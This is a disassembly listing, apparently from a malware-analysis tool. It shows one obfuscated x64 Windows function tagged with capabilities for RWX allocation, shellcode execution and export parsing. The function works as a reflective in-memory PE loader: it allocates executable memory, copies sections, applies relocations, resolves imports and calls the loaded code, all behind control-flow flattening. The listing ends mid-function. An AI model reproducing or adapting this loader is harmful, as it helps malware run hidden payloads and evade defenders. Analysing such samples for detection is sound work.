Function at 0x140007170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x178
mov eax, dword [0x140038ad8]
mov edx, dword [0x140038adc]
lea ebp, [rax - 1]
imul ebp, eax
test bpl, 1
sete byte [rsp + 0x26]
cmp edx, 0xa
setl byte [rsp + 0x27]
mov rsi, rcx
mov ebx, 0xb783eb0f
mov eax, 0x105a7b9e
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86651b65
mov ecx, 0xd4009ca0
nop
cmove eax, ecx
cmp dword [0x140038adc], 0xa
cmovl eax, ecx
cmp eax, 0xf47aa6f3
jle 0x140007240
cmp eax, 0x33f68ac3
jle 0x1400072b0
cmp eax, 0x5dcd0d2d
jle 0x1400073a8
cmp eax, 0x69dae74e
jle 0x140007528
cmp eax, 0x7379f388
jg 0x1400077cd
cmp eax, 0x6c696aa2
jle 0x140007c0f
cmp eax, 0x6c696aa3
je 0x1400081d2
cmp eax, 0x7044c348
je 0x1400081ed
cmp eax, 0x72b64bca
jne 0x1400071dd
mov eax, 0xc0c1e69
jmp 0x1400071dd
cmp eax, 0xbfbf5cbe
jg 0x140007320
cmp eax, 0x9ffeefe4
jle 0x140007408
cmp eax, 0xb12cbde5
jle 0x14000757d
cmp eax, 0xb6fa15b2
jg 0x140007827
cmp eax, 0xb4a4fc31
jle 0x140007c43
cmp eax, 0xb4a4fc32
je 0x1400081fc
cmp eax, 0xb536d00e
je 0x140008217
cmp eax, 0xb5e81de3
jne 0x1400071dd
mov r14, qword [rsp + 0x170]
mov eax, 0xca2c318b
jmp 0x1400071dd
cmp eax, 0xb92482b
jle 0x140007465
cmp eax, 0x193671b6
jle 0x1400075d1
cmp eax, 0x27e33c08
jg 0x140007871
cmp eax, 0x200b81b2
jle 0x140007c81
cmp eax, 0x200b81b3
je 0x140008233
cmp eax, 0x23a92bf0
je 0x140008251
cmp eax, 0x24d6b946
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd1f03b59
mov ecx, 0xf0ee79df
jmp 0x1400071d0
cmp eax, 0xd43fceea
jle 0x1400074c8
cmp eax, 0xe24103ae
jle 0x14000762c
cmp eax, 0xe8ff1c7c
jg 0x1400078b4
cmp eax, 0xe6cb81a0
jle 0x140007ca1
cmp eax, 0xe6cb81a1
je 0x14000826f
cmp eax, 0xe87c4475
je 0x140008297
cmp eax, 0xe8aa3a3c
jne 0x1400071dd
mov edx, dword [rsp + 0x5c]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b026f92
mov ecx, 0xaed17801
jmp 0x1400071d0
cmp eax, 0x4cacd60c
jle 0x140007681
cmp eax, 0x54a3de38
jg 0x1400078ea
cmp eax, 0x4f0f69d7
jle 0x140007ce0
cmp eax, 0x4f0f69d8
je 0x1400082b5
cmp eax, 0x503b34b7
je 0x1400082c3
cmp eax, 0x5252f733
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1ed15265
mov ecx, 0xaa6bf52c
jmp 0x1400071d0
cmp eax, 0x900289e0
jg 0x1400076ee
cmp eax, 0x86651b64
jle 0x140007934
cmp eax, 0x87f13716
jle 0x140007d00
cmp eax, 0x87f13717
je 0x1400082f7
cmp eax, 0x87fb84ae
je 0x140008316
cmp eax, 0x8dc878e1
jne 0x1400071dd
mov rax, qword [rsp + 0x78]
add rax, 4
mov qword [rsp + 0x90], rax
mov eax, 0xcdb32e00
jmp 0x1400071dd
cmp eax, 0x3dccde
jg 0x14000772f
cmp eax, 0xf8cb513c
jle 0x140007973
cmp eax, 0xfc32721d
jle 0x140007d20
cmp eax, 0xfc32721e
je 0x14000832d
cmp eax, 0xfc7699fc
je 0x14000833d
cmp eax, 0xfe8c1b97
jne 0x1400071dd
mov rax, qword [rsp + 0xf0]
mov qword [rax], rdi
mov rbp, qword [rsp + 0x100]
add rbp, 8
mov eax, 0xe24103af
jmp 0x1400071dd
cmp eax, 0xcefbbf20
jg 0x140007778
cmp eax, 0xc964ea68
jle 0x1400079b2
cmp eax, 0xca2c318a
jle 0x140007d50
cmp eax, 0xca2c318b
je 0x14000834a
cmp eax, 0xcdb32e00
je 0x140008378
cmp eax, 0xcde06e2d
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x748973bd
mov ecx, 0xdbdda85c
jmp 0x1400071d0
cmp eax, 0x6262236a
jle 0x1400079f4
cmp eax, 0x6552507b
jle 0x140007d7a
cmp eax, 0x6552507c
je 0x1400071b5
cmp eax, 0x688ca14b
je 0x140008396
cmp eax, 0x68a10140
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2429cea
mov ecx, 0x200b81b3
jmp 0x1400071d0
cmp eax, 0xa8ba001c
jle 0x140007a27
cmp eax, 0xaa92deda
jle 0x140007d9a
cmp eax, 0xaa92dedb
je 0x1400083b0
cmp eax, 0xaed17801
je 0x1400083cb
cmp eax, 0xafb9f333
jne 0x1400071dd
test dword [rsp + 0xb4], 0xa
mov eax, 0x87f13717
mov ecx, 0x6262236b
cmove eax, ecx
jmp 0x1400071dd
cmp eax, 0x107abaa2
jle 0x140007a66
cmp eax, 0x168e0cda
jle 0x140007dce
cmp eax, 0x168e0cdb
je 0x1400083d5
cmp eax, 0x175e7b6d
je 0x1400083df
cmp eax, 0x18050546
jne 0x1400071dd
mov word [rsp + 0x24], r12w
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x80d56d2b
mov ecx, 0x9d4faf38
jmp 0x1400071d0
cmp eax, 0xdaeb079c
jle 0x140007aa5
cmp eax, 0xdbdda85b
jle 0x140007df6
cmp eax, 0xdbdda85c
je 0x1400083e9
cmp eax, 0xdcd8ef3c
je 0x140008407
cmp eax, 0xe1533dc7
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3dccdf
mov ecx, 0x44833b8f
jmp 0x1400071d0
cmp eax, 0x3c47dc6e
jle 0x140007ae9
cmp eax, 0x468d3295
jle 0x140007e1b
cmp eax, 0x468d3296
je 0x14000841e
cmp eax, 0x4971722a
je 0x14000844b
cmp eax, 0x4bb2815f
jne 0x1400071dd
mov rax, qword [rsp + 0xd8]
add rax, qword [rsp + 0xe0]
mov qword [rsp + 0x138], rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfa2598e9
mov ecx, 0x631d82dc
jmp 0x1400071d0
cmp eax, 0x9cbfd822
jle 0x140007b43
cmp eax, 0x9e6272b7
jle 0x140007e3b
cmp eax, 0x9e6272b8
je 0x14000845d
cmp eax, 0x9eea4eab
je 0x140008498
cmp eax, 0x9f79d16b
jne 0x1400071dd
mov eax, 0xf2f1a8d2
jmp 0x1400071dd
cmp eax, 0x2e7cfed
jle 0x140007b91
cmp eax, 0x5cdfe42
jle 0x140007e85
cmp eax, 0x5cdfe43
je 0x1400084a2
cmp eax, 0x70fd13e
je 0x1400084c0
cmp eax, 0x82d88f3
jne 0x1400071dd
mov rdi, qword [rsp + 0x158]
mov eax, 0xfe8c1b97
jmp 0x1400071dd
cmp eax, 0xd18a70f7
jle 0x140007bd0
cmp eax, 0xd2429ce9
jle 0x140007ea5
cmp eax, 0xd2429cea
je 0x1400084ca
cmp eax, 0xd34f73e3
je 0x1400084d4
cmp eax, 0xd4009ca0
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86651b65
mov ecx, 0x5abe46fc
jmp 0x1400071d0
cmp eax, 0x7aafd41e
jle 0x140007ec9
cmp eax, 0x7aafd41f
je 0x1400084ed
cmp eax, 0x7b335501
je 0x1400084f7
cmp eax, 0x7d951155
jne 0x1400071dd
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50]
sub rax, qword [rcx + 0x18]
add rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
mov eax, 0x6262236b
jmp 0x1400071dd
cmp eax, 0xb868d2d1
jle 0x140007ee9
cmp eax, 0xb868d2d2
je 0x140008509
cmp eax, 0xbbb6d571
je 0x140008513
cmp eax, 0xbcdcb55f
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f0f69d8
mov ecx, 0xf2d4a82a
jmp 0x1400071d0
cmp eax, 0x3048c753
jle 0x140007f37
cmp eax, 0x3048c754
je 0x14000852e
cmp eax, 0x31b6653b
je 0x14000854c
cmp eax, 0x327bd3d8
jne 0x1400071dd
cmp byte [rsp + 0x2d], 0
mov eax, 0xc8fbf523
mov ecx, 0x54a3de39
cmovne eax, ecx
jmp 0x1400071dd
cmp eax, 0xf0ee79de
jle 0x140007f6b
cmp eax, 0xf0ee79df
je 0x14000856a
cmp eax, 0xf2d4a82a
je 0x1400085a5
cmp eax, 0xf2f1a8d2
jne 0x1400071dd
mov eax, 0x9eea4eab
jmp 0x1400071dd
cmp eax, 0x574ff912
jle 0x140007f93
cmp eax, 0x574ff913
je 0x1400085cd
cmp eax, 0x58021a5e
jne 0x140008a29
cmp qword [rsp + 0x38], 0
setne byte [rsp + 0x29]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7044c348
mov ecx, 0xf69a1021
jmp 0x1400071d0
cmp eax, 0x84fde927
jg 0x140007fcc
cmp eax, 0x80d56d2b
je 0x1400085eb
cmp eax, 0x82ae91a7
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf47aa6f4
mov ecx, 0x503b34b7
jmp 0x1400071d0
cmp eax, 0xf69a1020
jg 0x140007fec
cmp eax, 0xf47aa6f4
je 0x140008602
cmp eax, 0xf4fdaff4
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f924bb7
mov ecx, 0x327bd3d8
jmp 0x1400071d0
cmp eax, 0xc5308220
jg 0x140008019
cmp eax, 0xbfbf5cbf
je 0x14000861a
cmp eax, 0xc162b6f7
jne 0x1400071dd
mov rax, qword [rsp + 0xc8]
add rax, 0xfffffffffffffff8
shr rax, 1
mov qword [rsp + 0x120], rax
mov eax, 0xb4a4fc32
jmp 0x1400071dd
cmp eax, 0x5f924bb6
jg 0x140008039
cmp eax, 0x5dcd0d2e
je 0x14000863e
cmp eax, 0x5e4f8ce4
jne 0x1400071dd
mov eax, 0x4cacd60d
mov r15, qword [rsp + 0x138]
jmp 0x1400071dd
cmp eax, 0xa4ab9ee1
jg 0x14000806f
cmp eax, 0x9ffeefe5
je 0x140008655
cmp eax, 0xa2613c65
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x36cca450
mov ecx, 0xdaeb079d
jmp 0x1400071d0
cmp eax, 0xc9341e1
jg 0x1400080c0
cmp eax, 0xb92482c
je 0x140008662
cmp eax, 0xc0c1e69
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f924bb7
mov ecx, 0xf4fdaff4
jmp 0x1400071d0
cmp eax, 0xd5590092
jg 0x1400080f7
cmp eax, 0xd43fceeb
je 0x140008679
cmp eax, 0xd51bd2c4
jne 0x1400071dd
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov eax, 0xfe8c1b97
jmp 0x1400071dd
cmp eax, 0x36cca44f
jg 0x140008117
cmp eax, 0x33f68ac4
je 0x140008697
cmp eax, 0x36878b99
jne 0x1400071dd
mov rax, qword [rsp + 0xc0]
add rax, rsi
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
setne byte [rsp + 0x28]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4971722a
mov ecx, 0x5dcd0d2e
jmp 0x1400071d0
cmp eax, 0x9aec52da
jg 0x14000814b
cmp eax, 0x900289e1
je 0x1400086a1
cmp eax, 0x99601fa8
jne 0x1400071dd
mov qword [rsp + 0xa0], r13
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0xa0]
cmp rcx, rax
mov eax, 0xa8ba001d
mov ecx, 0x57068876
cmovb eax, ecx
jmp 0x1400071dd
cmp eax, 0x134cf87
jg 0x140008183
cmp eax, 0x3dccdf
je 0x1400086c9
cmp eax, 0x838bbc
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x85608ef5
mov ecx, 0x9f79d16b
jmp 0x1400071d0
cmp eax, 0xd019dd78
jg 0x1400081a3
cmp eax, 0xcefbbf21
je 0x1400086d3
cmp eax, 0xcfff2381
jne 0x1400071dd
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x90]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x30]
mov eax, 0xbcdcb55f
jmp 0x1400071dd
cmp eax, 0x69dae74f
je 0x140008718
cmp eax, 0x6c5d2c24
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x87bc28f4
mov ecx, 0xc5308221
jmp 0x1400071d0
cmp eax, 0xb12cbde6
je 0x140008722
cmp eax, 0xb2143c3c
jne 0x1400071dd
mov rax, qword [rsp + 0x70]
movzx edx, ax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x158], rax
mov eax, 0x33f68ac4
jmp 0x1400071dd
cmp eax, 0x193671b7
je 0x140008740
cmp eax, 0x1ed15265
jne 0x1400071dd
mov eax, 0xaa6bf52c
jmp 0x1400071dd
cmp eax, 0xe24103af
je 0x14000874f
cmp eax, 0xe6943b5f
jne 0x1400071dd
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x90]
mov eax, dword [rax]
mov qword [rsp + 0xe0], rax
mov eax, 0xd5590093
jmp 0x1400071dd
cmp eax, 0x4cacd60d
je 0x14000878f
cmp eax, 0x4e00a814
jne 0x1400071dd
mov eax, 0xd34f73e3
jmp 0x1400071dd
cmp eax, 0x86651b65
je 0x1400087b6
cmp eax, 0x87bc28f4
jne 0x1400071dd
mov eax, 0xc5308221
jmp 0x1400071dd
cmp eax, 0xf8cb513d
je 0x1400087c0
cmp eax, 0xfa2598e9
jne 0x1400071dd
mov rax, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xe0]
mov eax, 0x4bb2815f
jmp 0x1400071dd
cmp eax, 0xc964ea69
je 0x1400087d6
cmp eax, 0xc99eb962
jne 0x1400071dd
mov rax, qword [rsp + 0xf8]
call rax
mov eax, 0x900289e1
jmp 0x1400071dd
cmp eax, 0x6262236b
je 0x1400087e0
cmp eax, 0x631d82dc
jne 0x1400071dd
mov eax, 0xd18a70f8
jmp 0x1400071dd
cmp eax, 0xa8ba001d
je 0x1400087fe
cmp eax, 0xaa6bf52c
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1ed15265
mov ecx, 0xdcd8ef3c
jmp 0x1400071d0
cmp eax, 0x107abaa3
je 0x140008808
cmp eax, 0x135abe0a
jne 0x1400071dd
mov rbp, qword [rsp + 0x148]
mov eax, 0xe24103af
jmp 0x1400071dd
cmp eax, 0xdaeb079d
je 0x140008812
cmp eax, 0xdb1840aa
jne 0x1400071dd
mov rax, qword [rsp + 0x30]
mov eax, 0xb783eb0f
jmp 0x1400071dd
cmp eax, 0x3c47dc6f
je 0x140008830
cmp eax, 0x44833b8f
jne 0x1400071dd
mov eax, 0x84fde928
jmp 0x1400071dd
cmp eax, 0x9cbfd823
je 0x140008842
cmp eax, 0x9d4faf38
jne 0x1400071dd
movzx eax, word [rsp + 0x24]
mov rcx, qword [rsp + 0x80]
cmp ax, word [rcx + 2]
setb byte [rsp + 0x2a]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x80d56d2b
mov ecx, 0x87fb84ae
jmp 0x1400071d0
cmp eax, 0x2e7cfee
je 0x140008860
cmp eax, 0x5c88501
jne 0x1400071dd
mov eax, 0x7b335501
jmp 0x1400071dd
cmp eax, 0xd18a70f8
je 0x14000886a
cmp eax, 0xd1f03b59
jne 0x1400071dd
mov eax, dword [rsp + 0x68]
mov eax, 0xf0ee79df
jmp 0x1400071dd
cmp eax, 0x7379f389
je 0x140008888
cmp eax, 0x748973bd
jne 0x1400071dd
mov eax, 0xdbdda85c
jmp 0x1400071dd
cmp eax, 0xb6fa15b3
je 0x1400088ae
cmp eax, 0xb783eb0f
jne 0x1400071dd
mov rax, qword [rsp + 0x30]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x5c], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdb1840aa
mov ecx, 0x2e7cfee
jmp 0x1400071d0
cmp eax, 0x27e33c09
je 0x1400088d1
cmp eax, 0x2da2eeed
jne 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x193671b7
mov ecx, 0x468d3296
jmp 0x1400071d0
cmp eax, 0xe8ff1c7d
je 0x140008905
cmp eax, 0xef1a925b
jne 0x1400071dd
mov rax, qword [rsp + 0x90]
mov eax, 0xd019dd79
jmp 0x1400071dd
cmp eax, 0x54a3de39
je 0x140008924
cmp eax, 0x57068876
jne 0x1400071dd
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xa0]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x2e], ax
mov eax, 0xd04194e2
jmp 0x1400071dd
cmp eax, 0x84fde928
je 0x14000893f
cmp eax, 0x85608ef5
jne 0x1400071dd
mov eax, 0x838bbc
jmp 0x1400071dd
cmp eax, 0xf69a1021
je 0x140008955
cmp eax, 0xf833dcb2
jne 0x1400071dd
cmp byte [rsp + 0x2c], 0
mov eax, 0xe6943b5f
mov ecx, 0xc162b6f7
cmovne eax, ecx
jmp 0x1400071dd
cmp eax, 0xc5308221
je 0x14000896c
cmp eax, 0xc8fbf523
jne 0x1400071dd
mov eax, 0xf2f1a8d2
jmp 0x1400071dd
cmp eax, 0x5f924bb7
je 0x14000898a
cmp eax, 0x6161cbba
jne 0x1400071dd
mov rax, qword [rsp + 0x50]
mov r8d, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x38]
mov rdx, rsi
call fcn.14002a340
mov eax, 0x27e33c09
jmp 0x1400071dd
cmp eax, 0xa4ab9ee2
je 0x140008994
cmp eax, 0xa83e2f42
jne 0x1400071dd
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
add rcx, 4
mov qword [rsp + 0x80], rcx
mov rcx, qword [rsp + 0x80]
movzx ecx, word [rcx + 0x10]
add rax, rcx
add rax, 0x18
mov qword [rsp + 0x108], rax
mov eax, 0xcde06e2d
jmp 0x1400071dd
cmp eax, 0xc9341e2
je 0x1400089b2
cmp eax, 0x105a7b9e
jne 0x1400071dd
movzx ecx, byte [rsp + 0x26]
cmp byte [rsp + 0x27], 0
mov eax, 0x3dccdf
mov edx, 0xe1533dc7
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1400071dd
cmp eax, 0xd5590093
je 0x1400089c1
cmp eax, 0xd70c4c0b
jne 0x1400071dd
mov eax, 0xb92482c
jmp 0x1400071dd
cmp eax, 0x36cca450
je 0x1400089df
cmp eax, 0x3b4ab9ca
jne 0x1400071dd
mov rax, qword [rsp + 0xa8]
add rax, 0x14
mov qword [rsp + 0x170], rax
mov eax, 0x7aafd41f
jmp 0x1400071dd
cmp eax, 0x9aec52db
je 0x1400089e9
cmp eax, 0x9b026f92
jne 0x1400071dd
mov edx, dword [rsp + 0x5c]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0xe8aa3a3c
jmp 0x1400071dd
cmp eax, 0x134cf88
je 0x1400089f3
cmp eax, 0x1cc1975
jne 0x1400071dd
mov eax, 0xaa92dedb
jmp 0x1400071dd
cmp eax, 0xd019dd79
je 0x1400089fd
cmp eax, 0xd04194e2
jne 0x1400071dd
movzx eax, word [rsp + 0x2e]
shr eax, 0xc
mov dword [rsp + 0xb4], eax
mov eax, 0xafb9f333
jmp 0x1400071dd
cmp qword [rsp + 0x150], 0
mov eax, 0xb2143c3c
mov ecx, 0xb6fa15b3
cmove eax, ecx
jmp 0x1400071dd
mov rax, qword [rsp + 0x38]
mov eax, 0x58021a5e
jmp 0x1400071dd
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0x128], rax
mov eax, 0xfc7699fc
jmp 0x1400071dd
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0xbc], eax
mov eax, 0xb12cbde6
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2429cea
mov ecx, 0xb868d2d2
jmp 0x1400071d0
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6161cbba
mov ecx, 0x27e33c09
jmp 0x1400071d0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc9341e2
mov ecx, 0xd70c4c0b
jmp 0x1400071d0
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x85608ef5
mov ecx, 0x838bbc
jmp 0x1400071d0
mov eax, dword [rsp + 0x48]
mov eax, 0xf2d4a82a
jmp 0x1400071dd
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x98], rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf47aa6f4
mov ecx, 0x1cc1975
jmp 0x1400071d0
movzx eax, word [rsp + 0x2e]
and eax, 0xfff
add eax, dword [rsp + 0x64]
mov dword [rsp + 0xb8], eax
mov eax, 0xa4ab9ee2
jmp 0x1400071dd
cmp byte [rsp + 0x2a], 0
mov eax, 0x2da2eeed
mov ecx, 0x9e6272b8
cmovne eax, ecx
jmp 0x1400071dd
mov eax, 0x18050546
movzx r12d, word [rsp + 0x4e]
jmp 0x1400071dd
mov eax, 0x99601fa8
xor r13d, r13d
jmp 0x1400071dd
mov qword [rsp + 0xa8], r14
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0
mov eax, 0xbbb6d571
mov ecx, 0xe8ff1c7d
cmove eax, ecx
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1a925b
mov ecx, 0xd019dd79
jmp 0x1400071d0
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x168], rax
mov eax, 0xd51bd2c4
jmp 0x1400071dd
cmp qword [rsp + 0x98], 0
mov eax, 0xb536d00e
mov ecx, 0x3b4ab9ca
cmove eax, ecx
jmp 0x1400071dd
mov eax, 0xd43fceeb
jmp 0x1400071dd
mov eax, 0x9eea4eab
jmp 0x1400071dd
mov eax, 0x6552507c
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x748973bd
mov ecx, 0x9ffeefe5
jmp 0x1400071d0
cmp byte [rsp + 0x2b], 0
mov eax, 0xf8cb513d
mov ecx, 0xe87c4475
cmovne eax, ecx
jmp 0x1400071dd
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0xb0]
mov dword [rsp + 0x60], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x193671b7
mov ecx, 0x4e00a814
jmp 0x1400071d0
mov rax, qword [rsp + 0xc0]
mov eax, 0x36878b99
jmp 0x1400071dd
movzx eax, word [rsp + 0x24]
lea rax, [rax + rax*4]
shl rax, 3
add rax, qword [rsp + 0x108]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
add rax, 0xc
mov qword [rsp + 0x110], rax
mov eax, 0xcefbbf21
jmp 0x1400071dd
mov eax, 0x6552507c
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4971722a
mov ecx, 0x36878b99
jmp 0x1400071d0
mov eax, 0xa2613c65
jmp 0x1400071dd
mov eax, 0x200b81b3
jmp 0x1400071dd
mov rax, qword [rsp + 0x30]
cmp dword [rsp + 0x60], 0
sete byte [rsp + 0x2b]
mov eax, 0x5252f733
jmp 0x1400071dd
mov eax, 0xb5e81de3
jmp 0x1400071dd
mov eax, 0xca2c318b
mov r14, qword [rsp + 0x140]
jmp 0x1400071dd
mov eax, 0x3048c754
jmp 0x1400071dd
mov eax, dword [rsp + 0x6c]
add rax, qword [rsp + 0x40]
mov qword [rsp + 0xe8], rax
mov eax, 0x82ae91a7
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc99eb962
mov ecx, 0x900289e1
jmp 0x1400071d0
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc9341e2
mov ecx, 0xe6cb81a1
jmp 0x1400071d0
mov eax, dword [rsp + 0x68]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
cmp rax, 8
setae byte [rsp + 0x2c]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd1f03b59
mov ecx, 0xf833dcb2
jmp 0x1400071d0
cmp dword [rsp + 0x48], 0
setne byte [rsp + 0x2d]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f0f69d8
mov ecx, 0x72b64bca
jmp 0x1400071d0
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b026f92
mov ecx, 0xe8aa3a3c
jmp 0x1400071d0
movzx eax, word [rsp + 0x24]
mov rax, qword [rsp + 0x80]
mov eax, 0x9d4faf38
jmp 0x1400071dd
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, 0x503b34b7
jmp 0x1400071dd
mov rax, qword [rsp + 0x70]
movabs rcx, 0x8000000000000000
and rax, rcx
mov qword [rsp + 0x150], rax
mov eax, 0x6c696aa3
jmp 0x1400071dd
cmp byte [rsp + 0x28], 0
mov eax, 0x175e7b6d
mov ecx, 0x7379f389
cmovne eax, ecx
jmp 0x1400071dd
mov eax, 0x18050546
xor r12d, r12d
jmp 0x1400071dd
mov r15, qword [rsp + 0x118]
add r15, qword [rsp + 0x40]
mov eax, 0x4cacd60d
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7044c348
mov ecx, 0x58021a5e
jmp 0x1400071d0
mov eax, 0x82d88f3
jmp 0x1400071dd
mov rax, qword [rsp + 0xf8]
call rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc99eb962
mov ecx, 0x6e61ca77
jmp 0x1400071d0
mov eax, 0xe1533dc7
jmp 0x1400071dd
mov rax, qword [rsp + 0x110]
mov ecx, dword [rax]
add rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x88]
mov edx, dword [rax + 0x14]
add rdx, rsi
mov rax, qword [rsp + 0x88]
mov r8d, dword [rax + 0x10]
call fcn.14002a340
movzx eax, word [rsp + 0x24]
add eax, 1
mov word [rsp + 0x4e], ax
mov eax, 0xfc32721e
jmp 0x1400071dd
mov eax, 0xbfbf5cbf
jmp 0x1400071dd
mov eax, dword [rsp + 0xbc]
add rax, qword [rsp + 0x40]
mov qword [rsp + 0x148], rax
mov eax, 0x135abe0a
jmp 0x1400071dd
mov rax, qword [rsp + 0x30]
mov eax, 0x468d3296
jmp 0x1400071dd
mov qword [rsp + 0x100], rbp
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
mov eax, 0x69dae74f
